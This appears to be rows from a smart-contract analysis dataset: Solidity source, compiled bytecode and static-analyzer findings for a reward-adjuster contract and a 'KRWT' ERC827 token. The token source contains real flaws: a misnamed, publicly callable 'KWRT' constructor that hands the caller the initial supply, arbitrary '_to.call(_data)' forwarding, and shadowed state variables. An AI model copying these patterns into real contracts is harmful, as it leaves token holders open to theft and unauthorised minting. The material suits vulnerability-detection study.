uint256 newMaxReward = divide(multiply(newBaseReward, targetReceiver.maxRewardMultiplier), HUNDRED);
require(both(newBaseReward > 0, newMaxReward > 0), "MinMaxRewardsAdjuster/null-new-rewards");
// Notify the treasury param adjuster about the new max reward
treasuryParamAdjuster.adjustMaxReward(receiver, targetFunctionSignature, newMaxReward);
// Approve the max reward in the treasury
treasury.setPerBlockAllowance(receiver, multiply(newMaxReward, RAY));
// Set the new rewards inside the receiver contract
if (TreasuryFundableLike(receiver).baseUpdateCallerReward() < newMaxReward) {
TreasuryFundableLike(receiver).modifyParameters("maxUpdateCallerReward", newMaxReward);
TreasuryFundableLike(receiver).modifyParameters("baseUpdateCallerReward", newBaseReward);
} else {
TreasuryFundableLike(receiver).modifyParameters("baseUpdateCallerReward", newBaseReward);
TreasuryFundableLike(receiver).modifyParameters("maxUpdateCallerReward", newMaxReward);
}
emit RecomputedRewards(receiver, newBaseReward, newMaxReward);
}
}
|
0x608060405234801561001057600080fd5b50600436106101165760003560e01c80636f6dc5ae116100a257806394f3f81d1161007157806394f3f81d146102c8578063ac0e47f5146102ee578063b5424a7f146102f6578063de32b67d14610344578063f85fc0ab1461038657610116565b80636f6dc5ae1461027a578063749288ba14610282578063851cad901461028a578063900dc6ff1461029257610116565b8063552033c4116100e9578063552033c41461020057806361d027b3146102085780636614f010146102105780636a1460241461023c5780636c64a3481461024457610116565b8063017a10fa1461011b57806324ba58841461017c57806335b28153146101b45780634faf61ab146101dc575b600080fd5b6101516004803603604081101561013157600080fd5b5080356001600160a01b031690602001356001600160e01b03191661038e565b6040805195865260208601949094528484019290925260608401526080830152519081900360a00190f35b6101a26004803603602081101561019257600080fd5b50356001600160a01b03166103c4565b60408051918252519081900360200190f35b6101da600480360360208110156101ca57600080fd5b50356001600160a01b03166103d6565b005b6101e4610476565b604080516001600160a01b039092168252519081900360200190f35b6101a2610485565b6101e4610495565b6101da6004803603604081101561022657600080fd5b50803590602001356001600160a01b03166104a4565b6101a2610742565b6101da6004803603604081101561025a57600080fd5b5080356001600160a01b031690602001356001600160e01b03191661074e565b6101e4610df5565b6101e4610e04565b6101a2610e13565b6101da600480360360408110156102a857600080fd5b5080356001600160a01b031690602001356001600160e01b031916610e19565b6101da600480360360208110156102de57600080fd5b50356001600160a01b0316610f55565b6101e4610ff4565b6101da600480360360c081101561030c57600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060608101359060808101359060a00135611003565b6101da6004803603608081101561035a57600080fd5b506001600160a01b03813516906001600160e01b03196020820135169060408101359060600135611324565b6101a2611690565b60016020818152600093845260408085209091529183529120805491810154600282015460038301546004909301549192909185565b60006020819052908152604090205481565b336000908152602081905260409020546001146104245760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0381166000818152602081815260409182902060019055815192835290517f599a298163e1678bb1c676052a8930bf0b8a1261ed6e01b8a2391e55f70001029281900390910190a150565b6005546001600160a01b031681565b6b033b2e3c9fd0803ce800000081565b6006546001600160a01b031681565b336000908152602081905260409020546001146104f25760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0381166105375760405162461bcd60e51b81526004018080602001828103825260228152602001806118336022913960400191505060405180910390fd5b816c37b930b1b632a932b630bcb2b960991b14156105df57600580546001600160a01b0319166001600160a01b03838116919091179182905560408051630316dd2360e61b81529051929091169163c5b748c0916004808201926020929091908290030181600087803b1580156105ad57600080fd5b505af11580156105c1573d6000803e3d6000fd5b505050506040513d60208110156105d757600080fd5b506106fb9050565b8167747265617375727960c01b141561061257600680546001600160a01b0319166001600160a01b0383161790556106fb565b816d67617350726963654f7261636c6560901b141561064b57600280546001600160a01b0319166001600160a01b0383161790556106fb565b816d65746850726963654f7261636c6560901b141561068457600380546001600160a01b0319166001600160a01b0383161790556106fb565b81743a3932b0b9bab93ca830b930b6a0b2353ab9ba32b960591b14156106c457600480546001600160a01b0319166001600160a01b0383161790556106fb565b60405162461bcd60e51b81526004018080602001828103825260308152602001806118886030913960400191505060405180910390fd5b604080518381526001600160a01b038316602082015281517fd91f38cf03346b5dc15fb60f9076f866295231ad3c3841a1051f8443f25170d1929181900390910190a15050565b670de0b6b3a764000081565b6001600160a01b03821660009081526001602090815260408083206001600160e01b03198516845290915290208054600282015461079c9180151591429161079591611695565b11156116dd565b6107ed576040805162461bcd60e51b815260206004820152601f60248201527f4d696e4d61785265776172647341646a75737465722f776169742d6d6f726500604482015290519081900360640190fd5b428155600254604080516315f789a960e21b815290516000926001600160a01b0316916357de26a4916004808301926020929190829003018186803b15801561083557600080fd5b505afa158015610849573d6000803e3d6000fd5b505050506040513d602081101561085f57600080fd5b5051600354604080516315f789a960e21b815290519293506000926001600160a01b03909216916357de26a491600480820192602092909190829003018186803b1580156108ac57600080fd5b505afa1580156108c0573d6000803e3d6000fd5b505050506040513d60208110156108d657600080fd5b5051600184015490915060009061090a90610904906108f69086906116e1565b670de0b6b3a76400006116e1565b83611737565b905060006109a8610927836b033b2e3c9fd0803ce80000006116e1565b600560009054906101000a90046001600160a01b03166001600160a01b031663c5b748c06040518163ffffffff1660e01b8152600401602060405180830381600087803b15801561097757600080fd5b505af115801561098b573d6000803e3d6000fd5b505050506040513d60208110156109a157600080fd5b5051611737565b90506109c26109bb8287600301546116e1565b6064611737565b905060006109d76109bb8388600401546116e1565b90506109e960008311600083116116dd565b610a245760405162461bcd60e51b81526004018080602001828103825260268152602001806117d96026913960400191505060405180910390fd5b6004805460408051632346554960e01b81526001600160a01b038c8116948201949094526001600160e01b03198b166024820152604481018590529051929091169163234655499160648082019260009290919082900301818387803b158015610a8d57600080fd5b505af1158015610aa1573d6000803e3d6000fd5b50506006546001600160a01b03169150633d285a6f905089610acf846b033b2e3c9fd0803ce80000006116e1565b6040518363ffffffff1660e01b815260040180836001600160a01b03166001600160a01b0316815260200182815260200192505050600060405180830381600087803b158015610b1e57600080fd5b505af1158015610b32573d6000803e3d6000fd5b5050505080886001600160a01b0316631c1f908c6040518163ffffffff1660e01b815260040160206040518083038186803b158015610b7057600080fd5b505afa158015610b84573d6000803e3d6000fd5b505050506040513d6020811015610b9a57600080fd5b50511015610ca457876001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b158015610c0857600080fd5b505af1158015610c1c573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015610c8757600080fd5b505af1158015610c9b573d6000803e3d6000fd5b50505050610da2565b876001600160a01b031663fe4f5890836040518263ffffffff1660e01b815260040180807518985cd9555c19185d1950d85b1b195c94995dd85c9960521b815250602001828152602001915050600060405180830381600087803b158015610d0b57600080fd5b505af1158015610d1f573d6000803e3d6000fd5b50505050876001600160a01b031663fe4f5890826040518263ffffffff1660e01b81526004018080741b585e155c19185d1950d85b1b195c94995dd85c99605a1b815250602001828152602001915050600060405180830381600087803b158015610d8957600080fd5b505af1158015610d9d573d6000803e3d6000fd5b505050505b604080516001600160a01b038a1681526020810184905280820183905290517f29b645c65866941783ce7be60a8762da026db71b5438289e57ebf7cfed6cb2c19181900360600190a15050505050505050565b6002546001600160a01b031681565b6004546001600160a01b031681565b6103e881565b33600090815260208190526040902054600114610e675760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b03821660009081526001602090815260408083206001600160e01b031985168452909152902054610ed05760405162461bcd60e51b815260040180806020018281038252602b815260200180611933602b913960400191505060405180910390fd5b6001600160a01b03821660008181526001602081815260408084206001600160e01b031987168086529083528185208581559384018590556002840185905560038401859055600490930193909355825191825291517f27deac06df27e6e639c18b3359e9805cd9834be10fa04c491c27cb5de28133ab929181900390910190a25050565b33600090815260208190526040902054600114610fa35760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b03811660008181526020818152604080832092909255815192835290517f8834a87e641e9716be4f34527af5d23e11624f1ddeefede6ad75a9acfc31b9039281900390910190a150565b6003546001600160a01b031681565b336000908152602081905260409020546001146110515760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b6001600160a01b0386166110965760405162461bcd60e51b81526004018080602001828103825260238152602001806119106023913960400191505060405180910390fd5b600084116110d55760405162461bcd60e51b81526004018080602001828103825260278152602001806118b86027913960400191505060405180910390fd5b6110e860648310156103e88411156116dd565b6111235760405162461bcd60e51b81526004018080602001828103825260348152602001806117ff6034913960400191505060405180910390fd5b61113660648210156103e88311156116dd565b6111715760405162461bcd60e51b81526004018080602001828103825260338152602001806118556033913960400191505060405180910390fd5b818110156111b05760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b600083116111ef5760405162461bcd60e51b81526004018080602001828103825260258152602001806119e76025913960400191505060405180910390fd5b45831061122d5760405162461bcd60e51b815260040180806020018281038252602f815260200180611a6a602f913960400191505060405180910390fd5b6001600160a01b03861660009081526001602090815260408083206001600160e01b03198916845290915290208054156112985760405162461bcd60e51b815260040180806020018281038252602c81526020018061195e602c913960400191505060405180910390fd5b42815560028101859055600181018490556003810183905560048101829055604080516001600160e01b03198816815260208101879052808201869052606081018590526080810184905290516001600160a01b038916917f19035cbcac29754c5f06cc9447cb46cd2645d92be1bd34988c539da5aa245919919081900360a00190a250505050505050565b336000908152602081905260409020546001146113725760405162461bcd60e51b815260040180806020018281038252602c815260200180611a3e602c913960400191505060405180910390fd5b600081116113c7576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6e756c6c2d76616c7565604482015290519081900360640190fd5b6001600160a01b03841660009081526001602090815260408083206001600160e01b031987168452909152902080546114315760405162461bcd60e51b815260040180806020018281038252602b815260200180611933602b913960400191505060405180910390fd5b827433b0b9a0b6b7bab73a2337b922bc32b1baba34b7b760591b141561149b5745821061148f5760405162461bcd60e51b815260040180806020018281038252603181526020018061198a6031913960400191505060405180910390fd5b60018101829055611630565b826a75706461746544656c617960a81b14156114bd5760028101829055611630565b82733130b9b2a932bbb0b93226bab63a34b83634b2b960611b1415611579576114ef60648310156103e88411156116dd565b61152a5760405162461bcd60e51b81526004018080602001828103825260348152602001806117ff6034913960400191505060405180910390fd5b806004015482111561156d5760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b60038101829055611630565b827236b0bc2932bbb0b93226bab63a34b83634b2b960691b14156106c4576115aa60648310156103e88411156116dd565b6115e55760405162461bcd60e51b81526004018080602001828103825260338152602001806118556033913960400191505060405180910390fd5b80600301548210156116285760405162461bcd60e51b8152600401808060200182810382526032815260200180611a0c6032913960400191505060405180910390fd5b600481018290555b604080516001600160a01b03871681526001600160e01b0319861660208201528082018590526060810184905290517f88d1df549626311d5a3b057e3cf7f309557bf79aea71600180e6c8c2fe34d74b9181900360800190a15050505050565b606481565b808201828110156116d75760405162461bcd60e51b815260040180806020018281038252602c8152602001806119bb602c913960400191505060405180910390fd5b92915050565b1690565b60008115806116fc575050808202828282816116f957fe5b04145b6116d75760405162461bcd60e51b81526004018080602001828103825260318152602001806118df6031913960400191505060405180910390fd5b600080821161178d576040805162461bcd60e51b815260206004820181905260248201527f4d696e4d61785265776172647341646a75737465722f6469762d792d6e756c6c604482015290519081900360640190fd5b81838161179657fe5b049050828111156116d75760405162461bcd60e51b8152600401808060200182810382526021815260200180611a996021913960400191505060405180910390fdfe4d696e4d61785265776172647341646a75737465722f6e756c6c2d6e65772d726577617264734d696e4d61785265776172647341646a75737465722f696e76616c69642d626173652d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6e756c6c2d616464726573734d696e4d61785265776172647341646a75737465722f696e76616c69642d6d61782d7265776172642d6d756c7469706c6965724d696e4d61785265776172647341646a75737465722f6d6f646966792d756e7265636f676e697a65642d706172616d734d696e4d61785265776172647341646a75737465722f6e756c6c2d7570646174652d64656c61794d696e4d61785265776172647341646a75737465722f6d756c7469706c792d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d72656365697665724d696e4d61785265776172647341646a75737465722f6e6f6e2d6578697374656e742d72656365697665724d696e4d61785265776172647341646a75737465722f72656365697665722d616c72656164792d61646465644d696e4d61785265776172647341646a75737465722f696e76616c69642d6761732d616d6f756e742d666f722d657865634d696e4d61785265776172647341646a75737465722f6164642d75696e742d75696e742d6f766572666c6f774d696e4d61785265776172647341646a75737465722f6e756c6c2d6761732d616d6f756e744d696e4d61785265776172647341646a75737465722f6d61782d6d756c2d736d616c6c65722d7468616e2d6d696e2d6d756c4d696e4d61785265776172647341646a75737465722f6163636f756e742d6e6f742d617574686f72697a65644d696e4d61785265776172647341646a75737465722f6c617267652d6761732d616d6f756e742d666f722d657865634d696e4d61785265776172647341646a75737465722f6469762d696e76616c6964a2646970667358221220af46be3bd30dbd81b660a731ac45c03c472ef2e71c34eeef5e4f84948f9837d564736f6c63430006070033
|
{"success": true, "error": null, "results": {"detectors": [{"check": "incorrect-equality", "impact": "Medium", "confidence": "High"}, {"check": "unused-return", "impact": "Medium", "confidence": "Medium"}]}}
| 5,360 |
0x1e61529215ebeeb967f6d799058382cdddb148b1
|
pragma solidity ^0.4.21;
// ----------------------------------------------------------------------------
// TOKENMOM Korean Won(KRWT) Smart contract Token V.10
//
// Deployed to : 0x8af2d2e23f0913af81abc6ccaa6200c945a161b4
// Symbol : BETA
// Name : TOKENMOM Korean Won
// Total supply: 100000000000
// Decimals : 8
// ----------------------------------------------------------------------------
contract ERC20Basic {
function totalSupply() public view returns (uint256);
function balanceOf(address who) public view returns (uint256);
function transfer(address to, uint256 value) public returns (bool);
event Transfer(address indexed from, address indexed to, uint256 value);
}
/**
* @title SafeMath
* @dev Math operations with safety checks that throw on error
*/
library SafeMath {
/**
* @dev Multiplies two numbers, throws on overflow.
*/
function mul(uint256 a, uint256 b) internal pure returns (uint256) {
if (a == 0) {
return 0;
}
uint256 c = a * b;
assert(c / a == b);
return c;
}
/**
* @dev Integer division of two numbers, truncating the quotient.
*/
function div(uint256 a, uint256 b) internal pure returns (uint256) {
// assert(b > 0); // Solidity automatically throws when dividing by 0
// uint256 c = a / b;
// assert(a == b * c + a % b); // There is no case in which this doesn't hold
return a / b;
}
function sub(uint256 a, uint256 b) internal pure returns (uint256) {
assert(b <= a);
return a - b;
}
function add(uint256 a, uint256 b) internal pure returns (uint256) {
uint256 c = a + b;
assert(c >= a);
return c;
}
}
contract BasicToken is ERC20Basic {
using SafeMath for uint256;
mapping(address => uint256) balances;
uint256 totalSupply_;
function totalSupply() public view returns (uint256) {
return totalSupply_;
}
function transfer(address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[msg.sender]);
balances[msg.sender] = balances[msg.sender].sub(_value);
balances[_to] = balances[_to].add(_value);
emit Transfer(msg.sender, _to, _value);
return true;
}
function balanceOf(address _owner) public view returns (uint256 balance) {
return balances[_owner];
}
}
contract ERC20 is ERC20Basic {
function allowance(address owner, address spender) public view returns (uint256);
function transferFrom(address from, address to, uint256 value) public returns (bool);
function approve(address spender, uint256 value) public returns (bool);
event Approval(address indexed owner, address indexed spender, uint256 value);
}
contract StandardToken is ERC20, BasicToken {
mapping (address => mapping (address => uint256)) internal allowed;
function transferFrom(address _from, address _to, uint256 _value) public returns (bool) {
require(_to != address(0));
require(_value <= balances[_from]);
require(_value <= allowed[_from][msg.sender]);
balances[_from] = balances[_from].sub(_value);
balances[_to] = balances[_to].add(_value);
allowed[_from][msg.sender] = allowed[_from][msg.sender].sub(_value);
emit Transfer(_from, _to, _value);
return true;
}
function approve(address _spender, uint256 _value) public returns (bool) {
allowed[msg.sender][_spender] = _value;
emit Approval(msg.sender, _spender, _value);
return true;
}
function allowance(address _owner, address _spender) public view returns (uint256) {
return allowed[_owner][_spender];
}
function increaseApproval(address _spender, uint _addedValue) public returns (bool) {
allowed[msg.sender][_spender] = allowed[msg.sender][_spender].add(_addedValue);
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue) public returns (bool) {
uint oldValue = allowed[msg.sender][_spender];
if (_subtractedValue > oldValue) {
allowed[msg.sender][_spender] = 0;
} else {
allowed[msg.sender][_spender] = oldValue.sub(_subtractedValue);
}
emit Approval(msg.sender, _spender, allowed[msg.sender][_spender]);
return true;
}
}
/**
* @title Ownable
* @dev The Ownable contract has an owner address, and provides basic authorization control
* functions, this simplifies the implementation of "user permissions".
*/
contract Ownable {
address public owner;
event OwnershipTransferred(address indexed previousOwner, address indexed newOwner);
/**
* @dev The Ownable constructor sets the original `owner` of the contract to the sender
* account.
*/
function Ownable() public {
owner = msg.sender;
}
/**
* @dev Throws if called by any account other than the owner.
*/
modifier onlyOwner() {
require(msg.sender == owner);
_;
}
/**
* @dev Allows the current owner to transfer control of the contract to a newOwner.
* @param newOwner The address to transfer ownership to.
*/
function transferOwnership(address newOwner) public onlyOwner {
require(newOwner != address(0));
emit OwnershipTransferred(owner, newOwner);
owner = newOwner;
}
}
contract MintableToken is StandardToken, Ownable {
event Mint(address indexed to, uint256 amount);
event MintFinished();
bool public mintingFinished = false;
modifier canMint() {
require(!mintingFinished);
_;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
totalSupply_ = totalSupply_.add(_amount);
balances[_to] = balances[_to].add(_amount);
emit Mint(_to, _amount);
emit Transfer(address(0), _to, _amount);
return true;
}
/**
* @dev Function to stop minting new tokens.
* @return True if the operation was successful.
*/
function finishMinting() onlyOwner canMint public returns (bool) {
mintingFinished = true;
emit MintFinished();
return true;
}
}
/**
* @title Burnable Token
* @dev Token that can be irreversibly burned (destroyed).
*/
contract BurnableToken is BasicToken {
event Burn(address indexed burner, uint256 value);
/**
* @dev Burns a specific amount of tokens.
* @param _value The amount of token to be burned.
*/
function burn(uint256 _value) public {
require(_value <= balances[msg.sender]);
// no need to require value <= totalSupply, since that would imply the
// sender's balance is greater than the totalSupply, which *should* be an assertion failure
address burner = msg.sender;
balances[burner] = balances[burner].sub(_value);
totalSupply_ = totalSupply_.sub(_value);
emit Burn(burner, _value);
emit Transfer(burner, address(0), _value);
}
}
/**
* @title Capped token
* @dev Mintable token with a token cap.
*/
contract CappedToken is MintableToken {
uint256 public cap;
function CappedToken(uint256 _cap) public {
require(_cap > 0);
cap = _cap;
}
/**
* @dev Function to mint tokens
* @param _to The address that will receive the minted tokens.
* @param _amount The amount of tokens to mint.
* @return A boolean that indicates if the operation was successful.
*/
function mint(address _to, uint256 _amount) onlyOwner canMint public returns (bool) {
require(totalSupply_.add(_amount) <= cap);
return super.mint(_to, _amount);
}
}
/**
* @title Pausable
* @dev Base contract which allows children to implement an emergency stop mechanism.
*/
contract Pausable is Ownable {
event Pause();
event Unpause();
bool public paused = false;
/**
* @dev Modifier to make a function callable only when the contract is not paused.
*/
modifier whenNotPaused() {
require(!paused);
_;
}
/**
* @dev Modifier to make a function callable only when the contract is paused.
*/
modifier whenPaused() {
require(paused);
_;
}
/**
* @dev called by the owner to pause, triggers stopped state
*/
function pause() onlyOwner whenNotPaused public {
paused = true;
emit Pause();
}
/**
* @dev called by the owner to unpause, returns to normal state
*/
function unpause() onlyOwner whenPaused public {
paused = false;
emit Unpause();
}
}
contract PausableToken is StandardToken, Pausable {
function transfer(address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transfer(_to, _value);
}
function transferFrom(address _from, address _to, uint256 _value) public whenNotPaused returns (bool) {
return super.transferFrom(_from, _to, _value);
}
function approve(address _spender, uint256 _value) public whenNotPaused returns (bool) {
return super.approve(_spender, _value);
}
function increaseApproval(address _spender, uint _addedValue) public whenNotPaused returns (bool success) {
return super.increaseApproval(_spender, _addedValue);
}
function decreaseApproval(address _spender, uint _subtractedValue) public whenNotPaused returns (bool success) {
return super.decreaseApproval(_spender, _subtractedValue);
}
}
contract ERC827 is ERC20 {
function approve( address _spender, uint256 _value, bytes _data ) public returns (bool);
function transfer( address _to, uint256 _value, bytes _data ) public returns (bool);
function transferFrom(
address _from,
address _to,
uint256 _value,
bytes _data
)
public
returns (bool);
}
contract ERC827Token is ERC827, StandardToken {
function approve(address _spender, uint256 _value, bytes _data) public returns (bool) {
require(_spender != address(this));
super.approve(_spender, _value);
require(_spender.call(_data));
return true;
}
function transfer(address _to, uint256 _value, bytes _data) public returns (bool) {
require(_to != address(this));
super.transfer(_to, _value);
require(_to.call(_data));
return true;
}
function transferFrom(
address _from,
address _to,
uint256 _value,
bytes _data
)
public returns (bool)
{
require(_to != address(this));
super.transferFrom(_from, _to, _value);
require(_to.call(_data));
return true;
}
function increaseApproval(address _spender, uint _addedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.increaseApproval(_spender, _addedValue);
require(_spender.call(_data));
return true;
}
function decreaseApproval(address _spender, uint _subtractedValue, bytes _data) public returns (bool) {
require(_spender != address(this));
super.decreaseApproval(_spender, _subtractedValue);
require(_spender.call(_data));
return true;
}
}
contract KRWT is StandardToken, MintableToken, BurnableToken, PausableToken, ERC827Token {
string constant public name = "Korean Won";
string constant public symbol = "KRWT";
uint8 constant public decimals = 8;
uint public totalSupply = 100000000000 * 10**uint(decimals);
mapping (address => uint256) public balanceOf;
mapping (address => mapping (address => uint256)) public allowance;
/* This generates a public event on the blockchain that will notify clients */
event Transfer(address indexed from, address indexed to, uint256 value);
/* This notifies clients about the amount burnt */
event Burn(address indexed from, uint256 value);
uint256 public constant INITIAL_SUPPLY = 100000000000 * (10 ** uint256(decimals));
function KWRT () public {
totalSupply_ = INITIAL_SUPPLY;
balances[msg.sender] = INITIAL_SUPPLY;
emit Transfer(0x0, msg.sender, INITIAL_SUPPLY);
}
}
|
0x60806040526004361061015f576000357c0100000000000000000000000000000000000000000000000000000000900463ffffffff16806305d2035b1461016457806306fdde0314610191578063095ea7b31461021f57806316ca3b631461028257806318160ddd1461032b57806323b872dd146103545780632ff2e9dc146103d7578063313ce567146104005780633f4ba83a1461042f57806340c10f191461044457806342966c68146104a75780635c17f9f4146104d25780635c975abb1461057b57806366188463146105a857806370a082311461060b5780637272ad49146106605780637d64bcb4146107095780638456cb59146107365780638da5cb5b1461074b57806395d89b41146107a0578063a9059cbb1461082e578063ab67aa5814610891578063be45fd621461095a578063d73dd62314610a03578063dd62ed3e14610a66578063ed7ce71a14610adb578063f2fde38b14610af0575b600080fd5b341561016f57600080fd5b610177610b31565b604051808215151515815260200191505060405180910390f35b341561019c57600080fd5b6101a4610b44565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156101e45780820151818401526020810190506101c9565b50505050905090810190601f1680156102115780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561022a57600080fd5b610268600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610b7d565b604051808215151515815260200191505060405180910390f35b341561028d57600080fd5b610311600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050610bad565b604051808215151515815260200191505060405180910390f35b341561033657600080fd5b61033e610c92565b6040518082815260200191505060405180910390f35b341561035f57600080fd5b6103bd600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610c98565b604051808215151515815260200191505060405180910390f35b34156103e257600080fd5b6103ea610cca565b6040518082815260200191505060405180910390f35b341561040b57600080fd5b610413610cdc565b604051808260ff1660ff16815260200191505060405180910390f35b341561043a57600080fd5b610442610ce1565b005b341561044f57600080fd5b61048d600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050610da1565b604051808215151515815260200191505060405180910390f35b34156104b257600080fd5b6104d060048036038101908080359060200190929190505050610f87565b005b34156104dd57600080fd5b610561600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061113f565b604051808215151515815260200191505060405180910390f35b341561058657600080fd5b61058e611224565b604051808215151515815260200191505060405180910390f35b34156105b357600080fd5b6105f1600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611237565b604051808215151515815260200191505060405180910390f35b341561061657600080fd5b61064a600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611267565b6040518082815260200191505060405180910390f35b341561066b57600080fd5b6106ef600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061127f565b604051808215151515815260200191505060405180910390f35b341561071457600080fd5b61071c611364565b604051808215151515815260200191505060405180910390f35b341561074157600080fd5b61074961142c565b005b341561075657600080fd5b61075e6114ed565b604051808273ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200191505060405180910390f35b34156107ab57600080fd5b6107b3611513565b6040518080602001828103825283818151815260200191508051906020019080838360005b838110156107f35780820151818401526020810190506107d8565b50505050905090810190601f1680156108205780820380516001836020036101000a031916815260200191505b509250505060405180910390f35b341561083957600080fd5b610877600480360381019080803573ffffffffffffffffffffffffffffffffffffffff1690602001909291908035906020019092919050505061154c565b604051808215151515815260200191505060405180910390f35b341561089c57600080fd5b610940600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f016020809104026020016040519081016040528093929190818152602001838380828437820191505050505050919291929050505061157c565b604051808215151515815260200191505060405180910390f35b341561096557600080fd5b6109e9600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190803590602001908201803590602001908080601f0160208091040260200160405190810160405280939291908181526020018383808284378201915050505050509192919290505050611663565b604051808215151515815260200191505060405180910390f35b3415610a0e57600080fd5b610a4c600480360381019080803573ffffffffffffffffffffffffffffffffffffffff16906020019092919080359060200190929190505050611748565b604051808215151515815260200191505060405180910390f35b3415610a7157600080fd5b610ac5600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611778565b6040518082815260200191505060405180910390f35b3415610ae657600080fd5b610aee61179d565b005b3415610afb57600080fd5b610b2f600480360381019080803573ffffffffffffffffffffffffffffffffffffffff169060200190929190505050611863565b005b600360149054906101000a900460ff1681565b6040805190810160405280600a81526020017f4b6f7265616e20576f6e0000000000000000000000000000000000000000000081525081565b6000600360159054906101000a900460ff16151515610b9b57600080fd5b610ba583836119bb565b905092915050565b60003073ffffffffffffffffffffffffffffffffffffffff168473ffffffffffffffffffffffffffffffffffffffff1614151515610bea57600080fd5b610bf48484611748565b508373ffffffffffffffffffffffffffffffffffffffff168260405180828051906020019080838360005b83811015610c3a578082015181840152602081019050610c1f565b50505050905090810190601f168015610c675780820380516001836020036101000a031916815260200191505b509150506000604051808303816000865af19150501515610c8757600080fd5b600190509392505050565b60045481565b6000600360159054906101000a900460ff16151515610cb657600080fd5b610cc1848484611aad565b90509392505050565b600860ff16600a0a64174876e8000281565b600881565b600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610d3d57600080fd5b600360159054906101000a900460ff161515610d5857600080fd5b6000600360156101000a81548160ff0219169083151502179055507f7805862f689e2f13df9f062ff482ad3ad112aca9e0847911ed832e158c525b3360405160405180910390a1565b6000600360009054906101000a900473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff163373ffffffffffffffffffffffffffffffffffffffff16141515610dff57600080fd5b600360149054906101000a900460ff16151515610e1b57600080fd5b610e3082600154611e6790919063ffffffff16565b600181905550610e87826000808673ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e6790919063ffffffff16565b6000808573ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020819055508273ffffffffffffffffffffffffffffffffffffffff167f0f6798a560793a54c3bcfe86a93cde1e73087d944c0ea20544137d4121396885836040518082815260200191505060405180910390a28273ffffffffffffffffffffffffffffffffffffffff16600073ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a36001905092915050565b60008060003373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff168152602001908152602001600020548211151515610fd657600080fd5b33905061102a826000808473ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff16815260200190815260200160002054611e8590919063ffffffff16565b6000808373ffffffffffffffffffffffffffffffffffffffff1673ffffffffffffffffffffffffffffffffffffffff1681526020019081526020016000208190555061108182600154611e8590919063ffffffff16565b6001819055508073ffffffffffffffffffffffffffffffffffffffff167fcc16f5dbb4873280815c1ee09dbd06736cffcc184412cf7a71a0fdb75d397ca5836040518082815260200191505060405180910390a2600073ffffffffffffffffffffffffffffffffffffffff168173ffffffffffffffffffffffffffffffffffffffff167fddf252ad1be2c89b69c2b068fc378daa952ba7f163c4a11628f55a4df523b3ef846040518082815260200191505060405180910390a35050565b60003073ffffffffffffffffffffffffffffffffffffffff1684